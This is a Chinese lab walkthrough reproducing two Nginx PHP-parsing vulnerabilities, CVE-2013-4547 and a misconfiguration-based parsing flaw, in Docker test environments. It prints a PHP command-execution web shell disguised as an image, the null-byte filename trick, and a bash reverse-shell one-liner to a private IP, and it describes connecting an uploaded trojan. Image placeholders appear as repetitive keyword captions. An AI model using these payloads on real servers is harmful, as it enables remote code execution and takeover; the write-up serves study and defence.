目录

  • Nginx漏洞复现
  • ①CVE-2013-4547(文件名逻辑漏洞)复现
  • ②Nginx解析漏洞nginx_parsing_vulnerability复现



Nginx漏洞复现

Nginx与Apache一样,自身是不支持解析PHP语言的,只能通过加载PHP模块来解析PHP。 大致流程如下:
用户访问域名->域名进行DNS解析->请求到对应IP服务器和端口->nginx监听到对应端口的请求->nginx对url进行location匹配->执行匹配location下的规则->nginx转发请求给php->php-fpm的master进程监听到nginx请求->master进程将请求分配给其中一个闲置的worker进程->worker进程执行请求->worker进程返回执行结果给nginx->nginx返回结果给用户。

①CVE-2013-4547(文件名逻辑漏洞)复现

该漏洞利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件,造成命令执行的危害。
根据nginx.conf文件中location中的定义,以.php结尾的文件都解析为php。
若我们访问的文件名为 shell.gif[0x20][0x00].php ,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为shell.gif[0x20],配合limit_extensions为空即可利用成功。

  • 该漏洞利用条件有两个:
  • Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  • php-fpm.conf中的security.limit_extensions为空
  • 进入到 CVE-2013-4547 目录启动漏洞环境,启动漏洞环境
  • nginx 外部鉴权 nginx提权_nginx

  • docker-compose up -d
  • nginx 外部鉴权 nginx提权_运维_02

    nginx 外部鉴权 nginx提权_nginx_03

    nginx 外部鉴权 nginx提权_运维_04

  • 浏览器访问 http://ip:8080 看到如下界面
  • nginx 外部鉴权 nginx提权_nginx_05

  • 选择文件,尝试上传PHP文件,由于环境有黑名单限制,所以文件上传失败
  • nginx 外部鉴权 nginx提权_运维_06


  • nginx 外部鉴权 nginx提权_nginx_07

    nginx 外部鉴权 nginx提权_运维_08

    nginx 外部鉴权 nginx提权_Nginx_09

  • 抓包,利用CVE-2013-4547。我们上传一个phpinfo.jpg ,里面的内容还是 <?php phpinfo();?> ,注意后面的空格:
  • nginx 外部鉴权 nginx提权_nginx_10

    nginx 外部鉴权 nginx提权_运维_11

    nginx 外部鉴权 nginx提权_nginx 外部鉴权_12

  • 上传成功,接下来需要构造我们 phpinfo.jpg[0x20][0x00].php 来造成Nginx解析漏洞,使我们的 phpinfo.jpg 被解析成php,访问 http://IP:8080/uploadfiles/phpinfo.jpg,使用Burp向抓取的数据包中的 phpinfo.jpg 后面添加 [0x20][0x00] 然后使用 repeater 发包可以发现 PHP 已经被解析。
  • 抓取访问成功的包
  • nginx 外部鉴权 nginx提权_运维_13

    nginx 外部鉴权 nginx提权_nginx 外部鉴权_14

    nginx 外部鉴权 nginx提权_nginx 外部鉴权_15

  • 访问成功
  • nginx 外部鉴权 nginx提权_php_16

    nginx 外部鉴权 nginx提权_nginx 外部鉴权_17

  • 使用上述方法上传文件 system.jpg ,注意要有空格,内容为 <?php system($_GET[cmd]); ?>
  • nginx 外部鉴权 nginx提权_nginx_18

    nginx 外部鉴权 nginx提权_nginx 外部鉴权_19


  • nginx 外部鉴权 nginx提权_php_20

  • 使用上述方法上传文件 system.jpg ,注意要有空格,内容为 <?php system($_GET[cmd]); ?>
  • nginx 外部鉴权 nginx提权_nginx 外部鉴权_21

    nginx 外部鉴权 nginx提权_Nginx_22

  • 上传一个shell脚本,内容为反弹shell的payload bash -i >& /dev/tcp/192.168.8.144/7777 0>&1

nginx 外部鉴权 nginx提权_nginx_23

  • 然后抓取加了空格发送成功的包
  • 可以看到反弹shell成功

②Nginx解析漏洞nginx_parsing_vulnerability复现

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。


  • 进入到 nginx_parsing_vulnerability 目录启动漏洞环境,启动漏洞环境
  • docker-compose up -d
  • nginx 外部鉴权 nginx提权_Nginx_24

  • 将请求头当中的 Content-type 修改为 image/png,并在文件头部添加GIF89a,成功上传
  • nginx 外部鉴权 nginx提权_php_25

  • - 浏览器访问上传后的路径,无法解析成为php
  • nginx 外部鉴权 nginx提权_nginx 外部鉴权_26

  • 在路径后添加 ./php,成功按照PHP解析
  • nginx 外部鉴权 nginx提权_nginx 外部鉴权_27

  • 按照上述步骤上传木马文件,使用蚁剑进行测试,可成功连接木马
  • nginx 外部鉴权 nginx提权_php_28

    nginx 外部鉴权 nginx提权_运维_29


  • nginx 外部鉴权 nginx提权_nginx_30

    nginx 外部鉴权 nginx提权_运维_31

  • 漏洞成因
  • fix_pathinfo=1
  • security.limit_extensions=空